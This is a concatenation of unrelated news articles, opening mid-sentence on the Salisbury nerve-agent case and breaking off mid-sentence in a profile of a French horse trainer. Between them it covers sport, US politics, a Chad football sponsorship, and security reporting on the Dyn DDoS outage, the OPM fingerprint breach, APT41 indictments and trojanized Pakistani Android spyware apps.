ex-Russian spy's son, is one of the sites that was cordoned off.Russia: 'Unfounded accusations'Western intelligence services consider Russia a leading suspect based on previous attacks that used a similar substance and method, a Western intelligence official told CNN. The official cautioned the investigation was still in its early stages.If a Moscow link were proved, it would plunge relations between the West and Russia to a new low.Hospitalized Russian spy linked to Russia-UK spy warsOn Friday, Russian Foreign Ministry Sergey Lavrov dismissed allegations of Russian involvement as "propaganda." He said Russia was ready to assist "any investigation" but that it was "not necessary to hurl unfounded accusations on TV."Earlier this week, a spokesman for the Russian Embassy in London described comments by UK Foreign Secretary Boris Johnson -- who vowed a "robust response" in the event that state involvement was proved -- as "strongly anti-Russian." The spokesman said Johnson's comments were an attempt to politicize the affair, and he attacked the media for aiding the UK government's efforts.Johnson had said the case had "echoes" of what happened to former Russian spy Alexander Litvinenko, who died a slow death after drinking tea laced with highly radioactive polonium-210 in a London hotel in 2006.A detailed UK inquiry later concluded that Russian President Vladimir Putin probably approved the operation by Russian agents to kill Litvinenko. The Russian Foreign Ministry dismissed the inquiry as politically motivated.Lawmaker: 'Genuine anger'Military personnel appear Friday at Salisbury District Hospital. They've been deployed to help police.UK Security Minister Ben Wallace said Saturday that Britain would respond to the Salisbury attack with the "full force of the United Kingdom's resources if that is an appropriate and proportionate thing to do."Speaking to BBC Radio 4, Wallace described the attack as a "very serious incident with horrendous outcomes." However, he cautioned against rushing to judgment on who is responsible."We want to make sure we are effective in whatever our response is. If that is arresting a couple of people and getting them in jail, then that is what we shall do. If it's further, there are lots of things that the United Kingdom can do -- it is a powerful country, with a powerful economy, powerful allies, powerful military and powerful other capabilities. And we shall look at those -- all."On Friday, John Glen, a member of Parliament for Salisbury, praised the calm response of the city's residents to "an unprecedented occurrence in our country's history" but acknowledged that some were demanding "decisive action.""As the immediate shock and concern regarding the incident recede and we reflect on what has happened, I suspect that these feelings we hold will give way to a genuine anger at the audacity of what has taken place within our city," Glen said on his official Facebook page. The government will not act precipitously, he said, but will examine the facts rationally. "Once these are established, then and only then, will an appropriate and proportionate course of action be taken," the lawmaker said.CNN's Milena Veselinovic, Simon Cullen, James Gray and Mayra Cuevas contributed to this report.
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Story highlightsA new PBS documentary by Ken Burns highlights the family life of Eleanor Roosevelt The politician and former first lady is well know for her campaigning and wit 12 quotes from the politician celebrate her wisdom Leading Women connects you to extraordinary women of our time -- remarkable professionals who have made it to the top in all areas of business, the arts, sport, culture, science and more. (CNN)Politician, human rights campaigner and longest-serving first lady; Eleanor Roosevelt was a force to be reckoned with. Initially famous for her marriage to her fifth cousin once removed -- President Franklin D. Roosevelt, who served four terms in office -- Eleanor showed she was different to many other first ladies of the era. Not content simply to accompany her powerful spouse at events, Eleanor held her own press conferences, spoke at national conventions and remained active in politics even after her husband's death. Her achievements include serving as the first chair of the UN Commission on Human Rights and chairing John F. Kennedy's Presidential Commission on the Status of Women. A new documentary of seven episodes by Ken Burns, which aired on PBS stations in the U.S. in September, focuses on three members of the Roosevelt family; Theodore, Franklin and Eleanor. Read MoreThe series, called 'The Roosevelts: An intimate history,' started airing in the UK on Sunday October 19 and can be seen on the next six Sundays on PBS America (Sky 534 and Virgin 243.)Fifty-two years after her death, Eleanor's timeless wit lives on in quotation form, the best of which can be seen in the gallery above.Quiz: 10 female scientists you should knowRead: Jo Malone's 'million dollar nose'Watch: Could this 'chemist' run Walmart?
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(CNN)Liverpool manager Jurgen Klopp has urged fans to "celebrate in a safe way" after thousands gathered in the city to mark the club's first league title in 30 years, despite lockdown restrictions. In an open letter published in the Liverpool Echo, he said that whilst he appreciated the support, he "did not love" the scenes on the city's waterfront Friday when people ignored police warnings and partied in the streets. Merseyside Police reported that multiple people were hurt in the celebrations and that fireworks were aimed at the city's iconic Liver Building, causing a small fire, with police involved in a number of violent confrontations. England goes to the beach and parties like there's no pandemicThousands had also gathered outside Anfield stadium on Thursday after Liverpool were confirmed champions of England. "I am a human being and your passion is also my passion but right now the most important thing is that we do not have these kind of public gatherings," Klopp wrote.Read More"We owe it to the most vulnerable in our community, to the health workers who have given so much and whom we have applauded and to the police and local authorities who help us as a club not to do this. "Please -- celebrate -- but celebrate in a safe way and in private settings, whereby we do not risk spreading this awful disease further in our community."The UK has had 311,151 confirmed coronavirus cases with 43,550 deaths, according to the latest figures. READ: Liverpool star Alexander-Arnold bids to build new dynastyFans also gathered outside Anfield stadium on Thursday. 'Please stay at home'Over the weekend, the mayor of Liverpool Joe Anderson reiterated his plea for fans not to gather and said he had been left frustrated by those ignoring warnings from the club, health experts and the authorities. "For me, it was hugely disappointing because the message that we gave out after Thursday's gathering outside Anfield was about the public message of health and safety about Covid-19 and the fact that this virus is still very much alive and kicking," he said in a video posted on Twitter. "I say what I say in sorrow, rather than in anger, because people's lives, your lives, their lives, are put at risk." The club has repeatedly told supporters to not gather outside stadiums before, during or after the remaining fixtures. Liverpool faces Manchester City in the Premier League Thursday before returning to Anfield to play Aston Villa on Sunday. Klopp promised fans that they would have the chance to celebrate with the team one day, but only when it was safe to do so. "When the time is right we will celebrate. We will enjoy this moment and we will paint the city red. But for now, please stay at home as much as possible," he continued."This is not the time to be in the city center in big numbers or to go near football grounds." He added: "I already knew and liked the German word solidarität before I came to Liverpool and now I have learned that the English word is solidarity because I have heard it used by our supporters during the last few months. "For me, it is the word more than any other that captures what Liverpool people are about. It is why they have come together to make PPE, it is why they have delivered food parcels and medicines to people when they have needed it most and it is why they come together in so many different ways during such a difficult time."
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UPDATE — How an army of million of hacked Internet-connected smart devices almost broke the Internet today.
Cyber attacks are getting evil and worst nightmare for companies day-by-day, and the Distributed Denial of Service (DDoS) attack is one such attacks that cause a massive damage to any service.
Recently, the Internet witnessed a record-breaking largest DDoS attack of over 1 Tbps against France-based hosting provider OVH, and now the latest victim of the attack is none other than Dyn DNS provider.
A sudden outage of popular sites and services, including Twitter, SoundCloud, Spotify, and Shopify, for many users, is causing uproar online. It's because of a DDoS attack against the popular Domain Name System (DNS) service provider Dyn, according to a post on Ycombinator.
DNS act as the authoritative reference for mapping domain names to IP addresses. In other words, DNS is simply an Internet's phone book that resolves human-readable web addresses, like thehackernews.com, against IP addresses.
Dyn DNS is used by many websites and services as their upstream DNS provider, including Twitter, Spotify, SaneBox, Reddit, Box, Github, Zoho CRM, PayPal, Airbnb, Freshbooks, Wired.com, Pinterest, Heroku and Vox Media properties.
All of these sites and services are reportedly experiencing outages and downtime, either completely or partially.
Here's an internet outage map from Level3:
According to Dyn DNS, the DDOS started at 11:10 UTC and is mostly affecting its customers in the East Coast of the United States, specifically Managed DNS customers.
"We are aware of the ongoing service interruption of our Managed DNS network. For more information visit our status page," Dyn tweeted.
At the time, it's not clear who is behind this DDoS attack, but the company said its engineers are working on "mitigating" the issue.
Here's the statement posted by Dyn on its website:
"This attack is mainly impacting US East and is impacting Managed DNS customers in this region. Our Engineers are continuing to work on mitigating this issue.
Starting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.
Customers with questions or concerns are encouraged to reach out to our Technical Support Team."
What websites are down for you? Let us know in the comments below.
We'll update the story as soon as we get to hear more about the attack. Stay Tuned!
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The OPM Data Breach (Office of Personnel Management) is getting even worse than we thought.
We already know more than 21 Million current and former federal employees had their personal and highly sensitive private information hijacked in a massive data breach that affected Defense Department's OPM.
But, now it has been revealed that the hackers have made off a lot more than just names, residential addresses, and social security numbers of the US government employees. And it's the unique and all time constant identity – The Fingerprints.
5.6 MILLLLLION Fingerprints Breached
The US officials on Wednesday admitted that nearly 5.6 Million Fingerprints of its federal employees were also stolen in the massive data breach took place in April this year.
The OPM, the US government agency that handles all federal employee data, had previously reported that some 1.1 Million Fingerprints were stolen. However, this figure has now been increased to 5.6 Million.
Let's give it a thought, stolen fingerprints seems to be an even worse scenario than Stolen passwords, as unlike passwords, you can't change your fingerprints.
Fingerprints are now frequently used in biometric authentication from smartphones to government checkpoints and background checks. So once stolen, the miscreants can keep on misusing your fingerprint data to do other malicious things for the rest of your life.
However, federal experts believe that the "ability to misuse fingerprint data is limited… This probability could change over time as technology evolves," OPM's Press Secretary Samuel Schumach said in a statement on Wednesday.
What's even worse?
The final number (5.6 Million) isn't confirmed yet, as Schumach noted that an interagency investigation group will "continue to analyze and refine the data as it prepares to mail notification letters to impacted individuals."
Yes, the OPM has set up an interagency team – which includes members of the FBI, Defense Department, and Homeland Security, among others – to review the potential ways hackers could "misuse fingerprint data now and in the future."
The Government also ensures that it will provide additional information to the affected individuals if hackers found new ways to misuse their fingerprint data in the future.
For now, whoever has access to the Goldmine – Stolen OPM data – holds a highly Powerful, unchangeable key.
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(CNN)The heavily partisan process of redrawing congressional districts ahead of the 2022 elections has resulted in a drop in competitive seats nationwide as the parties in power draw lines to protect their incumbents. But California will stand as a notable exception as the final maps drawn by an independent commission are expected to yield at least seven -- and as many as 10 -- competitive seats as well as a wild scramble for current House members to figure out what districts they will run in.CNN spoke to more than a dozen political strategists, redistricting experts and campaign aides from both parties as California's congressional maps were being revised and refined over the past few weeks to gather their perspectives on how the state's most competitive races are shaping up.The Golden State's redistricting commission approved final maps late Monday night, drawing a total of 52 districts -- one fewer than in the past because of slower population growth. Overall the map still favors Democrats, who hold 42 of the state's current congressional seats, compared to 11 held by Republicans. Independent redistricting panels aim to draw fairer maps but still invite controversyBut Republicans are bullish about their prospects for pickups in 2022 because of the difficult political climate Democrats are facing. In 2020, Republicans flipped four of the state's congressional districts, including the special election win of GOP Rep. Mike Garcia in the 25th District, which covers portions of northern Los Angeles County and is anchored by Santa Clarita. Republican strategist and redistricting expert Matt Rexroad said his assumption is that "2022 is going to be a very good year for Republicans overall," but he noted the GOP may have a more uphill struggle with the new maps in the cycles that follow. "There's several seats in here that I think are seats that Republicans might even be favored in in 2022, but I don't know how that would look in, like 2028, as they continue to change," he said. Read MoreCalifornia's independent commission largely ignored existing congressional lines and the home addresses of the state's politicians, which more partisan processes have been criticized for taking into account, as they created the new maps. After Monday night's initial vote, the commission plans to leave the maps untouched for several days for public review, before giving final approval to the new districts as soon as December 26 and turning the maps over to the secretary of state.But California's battlefield for the 2022 elections is still taking shape, with a complex game of musical chairs expected over the next few weeks. Recent iterations of the maps placed as many as three incumbents in the same district and some of them may leapfrog into different districts if it improves their odds of winning. Members of Congress are not required to reside in the districts where they run, although running outside of their home districts sometimes opens candidates up to attacks on the campaign trail. Democratic Rep. Karen Bass, who is running for Los Angeles mayor, is one of nearly two dozen House Democrats not running for reelection next year. Members of California's delegation account for four of the 23 retirements in the House Democratic Caucus so far, opening up some opportunities for newcomers. Rep. Karen Bass is leaving Congress to run for Los Angeles mayor. Other members heading for the exits include Reps. Lucille Roybal-Allard, who represents portions of south and east Los Angeles; Alan Lowenthal who represents Long Beach; and Jackie Speier, who represents southern San Francisco and San Mateo County. Sam Oh, a Republican strategist who is the general consultant for Orange County GOP Reps. Young Kim and Michelle Steel -- two members who won some of the toughest 2020 congressional races in California, predicted that there would be "a lot of campaign calls over the holidays to discuss every possible option" on both the Republican or Democratic sides. "Each campaign will do their due diligence to ensure that whatever seat they run for gives them the best long-term viability," Oh said. "They'll be polling, looking at demographic trends and having very interesting team discussions in the next couple of weeks here as people start announcing for seats."A competitive field in Orange CountyCalifornia's redistricting commissioners made major changes to the highly competitive areas of Orange County that will affect the fortunes of Democratic Rep. Katie Porter, as well as Steel, Kim and the Democratic contenders who had been lining up to challenge them.Commissioners essentially drew Porter, Steel and former Rep. Harley Rouda -- the Democrat vying for a rematch with Steel -- into the same seat, creating a long coastal district that encompasses Seal Beach and Huntington Beach to the north, continuing south through Costa Mesa and Newport Beach to an area south of Laguna Beach, while folding in much of the Democratic-leaning city of Irvine, where Porter lives.Porter intends to run in that new 47th District and Democratic strategists view it as a solid opportunity for her given her popularity and huge war chest, and the fact that President Joe Biden won by double digits in that area. But in an unusually pointed statement Wednesday, Rouda said that the new coastal district includes 70% of the area that he represented while serving in Congress between 2018 and 2020 (before he was defeated by Steel). He added that he "learned via Twitter that Representative Porter has left the district that includes 70% of her constituents, and is now running in my coastal district."Rouda said he believes he is the "most electable Democrat" in that new district but said that he would spend the holidays with his family and "evaluate all the options laid before us." Porter campaign spokesperson Jordan Wong said she would be running in that district because it "includes her home city of Irvine, where she lives, and where her three children attend public school." But Wong hinted at challenges ahead, noting that "roughly two-thirds of voters in the 47th District have not previously been represented by Congresswoman Porter" and said "she looks forward to introducing herself to these voters and running a positive and spirited campaign, as she did to win close races in 2018 and 2020."Rexroad cautioned that no one should count out Republicans in that new district, noting that his analysis shows former Republican gubernatorial candidate John Cox won just under 49% of the vote in that area in 2018 and that GOP candidates often overperformed former President Donald Trump in Orange County. Democratic Rep. Katie Porter intends to run in the new 47th District. Though Steel, a first-generation American who immigrated from South Korea as a young adult, lives in that coastal district, she announced Wednesday that she would run in a new Orange County district just to the north that looks more favorable to Republicans. That newly created 45th District encompasses much of Little Saigon, an area with a high concentration of Vietnamese voters where Steel campaigned heavily and did well in 2020.Several GOP strategists noted that Steel has built strong relationships with the diverse Asian communities in areas like Westminster and Garden Grove that are part of that new district and she has deep roots beyond her current district, because of her service on the California State Board of Equalization and as a member of the Orange County Board of Supervisors. Nearly 37% of the eligible voters in that district are Asian -- which is on the higher side for southern California -- creating a diverse battlefield for both parties."Californians today are facing so many challenges -- from high taxes to concerns over affordability, crime, and the quality of education our children receive," Steel said in a statement Wednesday. "Although the district lines have changed, my mission has not. I have spent my entire career as a public servant fighting to protect California taxpayers, to lower crime rates, and to hold government accountable when it fails the people, and I will continue to do that work."Democrat Jay Chen, a small business owner and lieutenant commander in the US Naval Reserves who is one of the party's top recruits, had announced that he would challenge Kim. But he plans to run in the new 45th District, creating a highly competitive matchup with Steel.Kim's current 39th District -- which had encompassed pieces of Orange, Los Angeles and San Bernardino counties -- was also sliced and diced under the new lines. She announced Wednesday that she will run in a new, geographically larger inland Orange County district to the south and east, which looks as though it will be far more favorable to Republicans. That new 40th District includes communities that Kim currently represents like Yorba Linda and Chino Hills as well as a large swath of territory in Porter's current district, including parts of Orange and Tustin, continuing farther south through Laguna Hills, Mission Viejo and Rancho Margarita."From day one, I have been committed to serving Southern California and that commitment does not change with updated district lines. The out-of-touch policies we see from Nancy Pelosi and Washington politicians are hurting our communities and I'll continue to fight to combat inflation, lower taxes on Californians, and bolster our national security," Kim said in a statement. A boost to Latino power in the Central Valley Three of the most competitive seats in the Central Valley have been those held by Democratic Rep. Josh Harder and Republican Reps. David Valadao and Devin Nunes, who announced earlier this month that he is leaving Congress to head up Trump's social media venture. Under the new lines, territory that had been held by both Nunes and Democratic Rep. Jim Costa ended up in the new 21st District, which is more Democratic than Nunes' current seat. Costa announced Tuesday that he will run in that new seat.The commission made some dramatic changes to Harder's seat, essentially splitting it in two with a dividing line in and around the population center of Modesto, where Harder went to high school. But later in the process, the commission spent much of its time trying to boost the percentages of eligible Latino voters in three of the Central Valley districts to increase Latino influence in future elections in keeping with the Voting Rights Act. Democratic Rep. Josh Harder represents one of the most compeitive seats in the Central Valley under the existing map.During that process, Harder's fortunes improved as greater portions of Modesto were added back in to his district, which is the new 13th District. The competitive seat now runs farther south through the Central Valley, sweeping up large portions of Costa's district, which is making it unclear how they will sort out their home turf. Rexroad noted that there may also be an opportunity for the GOP in a newly created 9th District just to the north, which encompasses Stockton and San Joaquin county. Rob Pyers, research director with the California Target Book, a comprehensive guide to the state's political data, noted that the commission essentially moved many Republican voters in the Central Valley into the current district of House GOP Leader Kevin McCarthy as they were boosting the influence of Latino voters in other districts, creating more difficult contests for some of McCarthy's neighboring Republicans in 2022.The consolidation of GOP areas made Valadao's district more competitive by a couple of points, Pyers said, by dismembering his Kings County home territory -- where his family farms alfalfa, almonds corn and wheat -- while splitting up the Republican vote in a number of towns and cities."The seats objectively get worse for Republicans in the Central Valley versus 2020, but the national environment" -- which favors the GOP -- "could counteract that," Pyers said.Valadao, who lost his perennial swing seat to Democrat TJ Cox in 2018 and then won it back last year -- will face a tougher race in 2022, both because of the way the commission has drawn the new lines and because he is facing a strong challenge from Democrat Rudy Salas, a California assemblyman and former member of the Bakersfield City Council, as well as from several others.Redistricting commissioners shifted Valadao's district farther south from an area near Hanford -- where he was born and raised -- so that his new district encompasses less of the areas around Fresno and more of the bluer areas around Bakersfield. Allies of Salas hope that shift will give the Democratic challenger an edge since he is best known in the Bakersfield area.GOP Rep. David Valadao won his seat back in 2020 after being defeated in 2018. But Robert Jones, a Republican strategist who advises Valadao, said the congressman is not daunted by the challenge even if the district ends up looking more Democratic. He noted that Valadao won in 2020 in a district Biden won by about 10 points and has historically done better with Latino voters than other GOP candidates. "The Hispanic communities are going to be put together in districts that are going to be really competitive (with voters) really evaluating candidates outside of party labels," Jones said. "We win a good share of votes, and have cross-over votes, all over the district. There's no part of the district that we don't compete in, and if it goes a little bit in one direction or another from the current lines, I think we're going to be competitive."Swing seats in northern Los Angeles and San Diego countiesThe redistricting commission also made some major changes to the Republican seat held by Garcia, a Santa Clarita native and former Navy fighter pilot. Garcia managed to flip California's current 25th District -- which Republicans had lost in 2018 -- back to the GOP in a 2020 special election after Democrat Katie Hill resigned from Congress amid controversy. Trump endorsed Garcia in that race. In 2022, Garcia is facing a rematch with Democrat Christy Smith, as well as a challenge from Democratic newcomer Quaye Quartey, a former Navy intelligence officer, among others. Smith, a former member of the state assembly, only lost to Garcia by 333 votes in the 2020 general election, underscoring the competitiveness of the area.Garcia faces some challenges under the new lines in what will now be the 27th District. The commission has removed conservative portions of the Simi Valley from his district and added bluer areas of the San Fernando Valley. Despite Garcia's conservative voting record, however, he has not shied away from running in areas that have typically been challenging for Republicans and political observers on both sides believe the seat will remain competitive.GOP Rep. Mike Garcia participates in a ceremonial swearing-in on Capitol Hill in 2020 after flipping a blue seat red in a special election.The most competitive seat in San Diego county will be the coastal district of Democratic Rep. Mike Levin, who also represents part of the southern Orange County coast. Though there were some territory swaps, the redistricting commission appears to have essentially maintained the status quo in San Diego County, preserving two Democratic seats in the city of San Diego and along the San Diego coast that are held by Democratic Reps. Sara Jacobs and Scott Peters, although their residences were drawn into the same district).Republican Rep. Darrell Issa's seat covering parts of East County, San Diego had looked more competitive at various points during the process, but now looks fairly safe for the GOP. A win for voters who sought competition Paul Mitchell, a redistricting expert with the Sacramento-based firm Redistricting Partners, said for all the complaints that have emerged with California's tedious process -- and the line-drawing that unfolded over hundreds over hours on videoconference -- the state's voters will at least have confidence that partisanship did not play a central role.When they passed two ballot measures to create the independent commission in 2008 and 2010, voters "didn't want politicians drawing districts to advantage political parties and incumbents, and they've completely won in that regard," Mitchell said. "None of this reflects where politicians want these lines to be drawn. None of this reflects where the political parties want these lines to be drawn.""People might not like where their city is drawn with another city, or they might not like the political implications of the lines," he added. "But they can't say that they don't know why a line was drawn where it was, because it's all done on video."This story has been updated with additional developments Wednesday.
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The United States government today announced charges against 5 alleged members of a Chinese state-sponsored hacking group and 2 Malaysian hackers that are responsible for hacking more than 100 companies throughout the world.
Named as APT41 and also known as 'Barium,' 'Winnti, 'Wicked Panda,' and 'Wicked Spider,' the cyber-espionage group has been operating since at least 2012 and is not just involved in strategic intelligence collection from valuable targets in many sectors, but also behind financially motivated attacks against online gaming industry.
According to a press release published by the U.S. Justice Department, two of the five Chinese hackers—Zhang Haoran (张浩然) and Tan Dailin (谭戴林)—were charged back in August 2019, and the other three of them—Jiang Lizhi (蒋立志), Qian Chuan (钱川) and Fu Qiang (付强)—and two Malaysian co-conspirators were in separate indictments in August 2020.
The later indicted three Chinese hackers are associated with a network security company Chengdu 404 Network Technology, operated as a front by the People's Republic of China.
"FU has been working closely with JIANG since at least 2008, and worked with JIANG at multiple internet and video game related companies. FU has been working with QIAN and JIANG together since at least 2013. Before joining CHENGDU 404, FU described himself as a skilled programmer and developer," the court documents say.
As uncovered previously in multiple reports, the APT41 group specializes in software supply-chain attacks, where hackers steal proprietary "source code, software code signing certificates, customer account data, and valuable business information," and distribute digitally signed malicious versions of the software to infect systems at targeted organizations.
According to the court documents, in some cases where the targeted systems didn't have any valuable information, defendants also used ransomware and crypto-jacking malware to monetize their efforts.
The targeted industries include "software development companies, computer hardware manufacturers, telecommunications providers, social media companies, video game companies, non-profit organizations, universities, think tanks, and foreign governments, as well as pro-democracy politicians and activists in Hong Kong."
"The defendants also compromised foreign government computer networks in India and Vietnam, and targeted, but did not compromise, government computer networks in the United Kingdom," the press release says.
The 2 Malaysian hackers—Wong Ong Hua and Ling Yang Ching—were arrested by Malaysian authorities in Sitiawan on September 14, 2020, and are being extradited to the United States. The FBI confirmed that all 5 Chinese nationals remain at large.
"In addition to arresting warrants for all of the charged defendants, in September 2020, the U.S. District Court for the District of Columbia issued seizure warrants that resulted in the recent seizure of hundreds of accounts, servers, domain names, and command-and-control (C2) 'dead drop' web pages used by the defendants to conduct their computer intrusion offenses," the DoJ said.
"The actions by Microsoft [other than Google, Facebook, and Verizon Media] were a significant part of the overall effort to deny the defendants continued access to hacking infrastructure, tools, accounts, and command and control domain names."
The targeted companies were located in the United States and worldwide, including in Australia, Brazil, Chile, Hong Kong, India, Indonesia, Japan, Malaysia, Pakistan, Singapore, South Korea, Taiwan, Thailand, and Vietnam.
Zhang and Tan have been charged with 25 counts of computer fraud and money laundering, which carry a maximum sentence of 20 years in prison.
Jiang, Qian, and Fu are also facing similar charges with nine counts that carry a maximum sentence of 20 years in prison.
The indictment against Wong and Ling charges the defendants with 23 counts of similar charges, but since they are also involved in false registration of domain names, it would increase the maximum sentence of imprisonment for money laundering to 27 years.
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Story highlightsChad and media group sponsor FC MetzDeal is controversial as the nation faces economic and security emergenciesGovernment denies reported fees (CNN)The Central African state of Chad is suffering through a steep economic decline and a grueling fight against terrorism. But the government believes that soccer can help to revive the nation's fortunes.A new sponsorship deal between state officials, Pan-African media group LC2, and FC Metz will see the French team play with the message "Chad: Oasis of the Sahel" on their shirts, and participate in joint initiatives to develop soccer in Chad. It is hoped that the partnership will improve the nation's reputation abroad and encourage tourism. "This is part of a strategic partnership," says Betel Miarom, minister of culture, youth, and sport. "The Chadian tourist office, LC2 Group, and FC Metz have forged an agreement for the promotion of Chad's international image through sports."Voici le maillot 2016-2017 du FC Metz avec son nouveau sponsor, face avant et dos, l'Office Tchadien du Tourisme pic.twitter.com/XvIgAlxemx— FC Metz (@FCMetz) August 27, 2016
Read MoreSubstitute appearanceFC Metz was promoted this year to Ligue 1, the top division in French football, and required a new sponsor after a previous deal expired. The first contact came from LC2 Group, which recently launched a new channel in Chad, and proposed to broker a deal on behalf of the Chadian government. FC Metz President Bernard Serin required further assurance. "I wanted to be sure that the government was fully part of the agreement," says Serin. "For that reason we postponed until government representatives came to Metz and showed the commitment and engagement of the country."Miarom, along with several more government officials, made the trip to northern France in late August, and the deal was swiftly struck. Serin was surprised at the identity of the new sponsors, but notes that the club has strong connections with Africa, having established the "Generation Foot" academy in Senegal in 2000, which produced stars such as Liverpool's Sadio Mane. His new partners will now have access to the facility. "This agreement will help young players of Chad come to our academy, which is one of the best in Africa," says Serin. The president adds that FC Metz will send a delegation to meet soccer officials in Chad to provide guidance in developing the game, which is the nation's most popular sport. Team photo at the 'Generation Foot' academy in Dakar Senegal. 'Waste of money'The agreement has proved controversial, drawing fierce criticism from Chadian analysts. Blogger Senior Mbary described the deal as "fraud" and an "opportunity to pillage the meager resources of Chad."France-based journalist Ahmat Zeidane Bichara also attacked the agreement, questioning the value of promoting tourism at a time when many Western governments have issued warnings against travel to Chad due to terror fears. Nigerian fans create rival football league on Twitter"Is it not money thrown out the window?" wrote Bichara, contrasting the deal with neglect of emergencies such as widespread water shortages. Bichara estimated the sponsorship would cost Chad 2-4 million euros ($2.25-$4.5m) a year, a figure widely circulated following the deal. But Miarom denies this, insisting that LC2 Group is covering all expenses."The partnership was finalized by LC2 and Chad has not spent a single penny," he says. The minister further claims that the deal supports rather than detracts from core commitments. "The Government has been engaged in a vast battle against poverty," says Miarom. "The President of the Republic has initiated a plan for the emergence of Chad in 2030. And in this Chad we want in 2030, sport occupies a prominent place."A market gardener waters salad greens near N'Djamena, Chad. Critics have attacked the government for the sponsorship of FC Metz at a time the country is experiencing widespread water insecurity. Country clubSponsorship deals between countries and soccer clubs are increasingly common, such as Azerbaijan's sponsorship of Atletico Madrid and Qatar's deal with Barcelona. Matthew Glendinning, editor of Sports Sponsorship Insider, believes that clubs such as FC Metz are being forced to consider unusual partnerships. "The switch to Chad as a country sponsor is surprising, but it is not unusual for lower-tier Ligue 1 clubs to struggle to find commercially-based sponsors," he says.Football game in Habile refugee camp in Chad. Glendinning can also see the appeal for sponsors, as soccer offers excellent exposure."Chad has a pressing need to promote its tourism industry," he says. "Football, as the most popular sport in the country, would be considered an attractive medium."With Ligue 1 being broadcast in over 100 countries, the message of Chad will certainly reach a global audience.But whether the deal is remembered as an inspired decision or a regrettable folly remains to be seen.
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Cybersecurity researchers took the wraps off a new spyware operation targeting users in Pakistan that leverages trojanized versions of legitimate Android apps to carry out covert surveillance and espionage.
Designed to masquerade apps such as the Pakistan Citizen Portal, a Muslim prayer-clock app called Pakistan Salat Time, Mobile Packages Pakistan, Registered SIMs Checker, and TPL Insurance, the malicious variants have been found to obfuscate their operations to stealthily download a payload in the form of an Android Dalvik executable (DEX) file.
"The DEX payload contains most of the malicious features, which include the ability to covertly exfiltrate sensitive data like the user's contact list and the full contents of SMS messages," Sophos threat researchers Pankaj Kohli and Andrew Brandt said.
"The app then sends this information to one of a small number of command-and-control websites hosted on servers located in eastern Europe."
Interestingly, the fake website of the Pakistan Citizen Portal was also prominently displayed in the form of a static image on the Trading Corporation of Pakistan (TCP) website, potentially in an attempt to lure unsuspecting users into downloading the malware-laced app.
Visiting the TCP website (tcp.gov.pk) now shows the message "Down for Maintenance."
Besides the aforementioned apps, Sophos researchers also discovered a separate app called Pakistan Chat that didn't have a benign analogue distributed via the Google Play Store. But the app was found to leverage the API of a legitimate chat service called ChatGum.
Once installed, the app requests intrusive permissions, including the ability to access contacts, file system, location, microphone, and read SMS messages, which allow it to gather a wide swathe of data on a victim's device.
All these apps have one singular purpose — to conduct covert surveillance and exfiltrate the data from a target device. In addition to sending the unique IMEI identifier, the DEX payload relays detailed profile information about the phone, location information, contact lists, the contents of text messages, call logs and the full directory listing of any internal or SD card storage on the device.
Troublingly, the malicious Pakistan Citizen Portal app also transmits sensitive information such as users' computerized national identity card (CNIC) numbers, their passport details, and the username and password for Facebook and other accounts.
"The spying and covert surveillance capability of these modified Android apps highlight the dangers of spyware to smartphone users everywhere," Pankaj Kohli said. "Cyber-adversaries target mobiles not just to get their hands on sensitive and personal information, but because they offer a real-time window into people's lives, their physical location, movements, and even live conversations taking place within listening range of the infected phone."
If anything, the development is yet another reason why users need to stick to trusted sources to download third-party apps, verify if an app is indeed built by a genuine developer, and carefully scrutinize app permissions before installation.
"In the current Android ecosystem, apps are cryptographically signed as a way to certify the code originates with a legitimate source, tying the app to its developer," the researchers concluded. "However, Android doesn't do a good job exposing to the end user when a signed app's certificate isn't legitimate or doesn't validate. As such, users have no easy way of knowing if an app was indeed published by its genuine developer."
"This allows threat actors to develop and publish fake versions of popular apps. The existence of a large number of app stores, and the freedom of users to install an app from practically anywhere makes it even harder to combat such threats."
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Story highlightsJuventus go top of Serie A after 2-0 win over NovaraSimone Pepe and Fabio Quagliarella with the Juve goalsUdinese held 2-2 by Lazio to stay in third placeValencia third in Spain after 2-0 win over MalagaJuventus scored a goal in each half against promoted Novara to return to the top of Serie A Sunday.The win saw them move above AC Milan, who had taken over at the summit by beating Siena 2-0 Saturday.Udinese later missed the chance to draw level with Antonio Conte's side when they were held to a 2-2 draw at Lazio and remain in third place, two points off the pace.Juventus were not at their best against their regional rivals, but were in control after Simone Pepe scored in the fourth minute.Fabio Quagliarella sealed the three points with the second goal in the 75th minute, but it was a frustrating afternoon according to Conte."We're good at creating chances, but less good at taking them," he told AFP."Playing like that means we take risks with the coronaries of the man on the bench!"In other matches Sunday, Inter Milan continued their revival with a third straight victory, 1-0 at Cesena, to go fifth.A headed goal from Andrea Ranocchia gave Inter the victory.Francesco Lodi's free kick put Catania on their way to a 2-0 victory over Palermo in the season's first Sicilian derby.Catania are up to eighth, one place behind Genoa, who defeated Bologna 2-1.Bottom side Lecce led 3-1 but allowed Parma two late goals in a 3-3 draw.In Spain's La Liga, Roberto Soldado scored both goals as Valencia defeated Malaga 2-0 Sunday night to consolidate third place behind Real Madrid and Barcelona.Valencia have 33 points, four adrift of Barcelona and seven behind leaders Real Madrid who crushed Sevilla 6-2 Saturday to guarantee they finish 2011 on top of the table.
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Story highlightsFrench stuntman performs tricks with horsesThe 47-year-old has trained horses since 11Appeared at London's Olympia in December (CNN)If there is such a thing as animal magnetism, then Jean-Francois Pignon has it in spades. With a mere flick of his hand, the Frenchman gets his horses to perform the most amazing tricks. From instructing them to stand elegantly on their hind legs to riding bareback on not one, but two horses at the same time, it's little wonder that Pignon's shows have become a hit with audiences worldwide.The veteran performer, who appeared in the London International Horse Show at Olympia in December, has been training horses since when he was a boy."I started really young with (my first horse) Gazelle," Pignon told CNN. "I was 11 years old and she was a year and a half. My first goal was not to do a show, but to communicate with my horse and play with them.Bring on the dancing horses: Equestrian artist creates stunning horse showRead More"And then I had the opportunity to perform in a small village to do my first show and I immediately liked it. I was very shy but I felt on this day that I really liked this job."More than three decades later, the 47-year-old -- who lives in Calvission in the South of France -- still puts in hours of training, although he is ever mindful of his horses' welfare. "The most difficult moves are when the horses are tired, which is rare, and also when the horses are excited," he explained. "My role is to be the maestro in the middle, and to use them a little bit more, a little bit less, depending on their mood."Audiences are amazed when they see Pignon, says Jo Peck, who manages the marketing and communications for the annual Olympia event where the Frenchman has appeared four times."He can get horses to do things that other people just 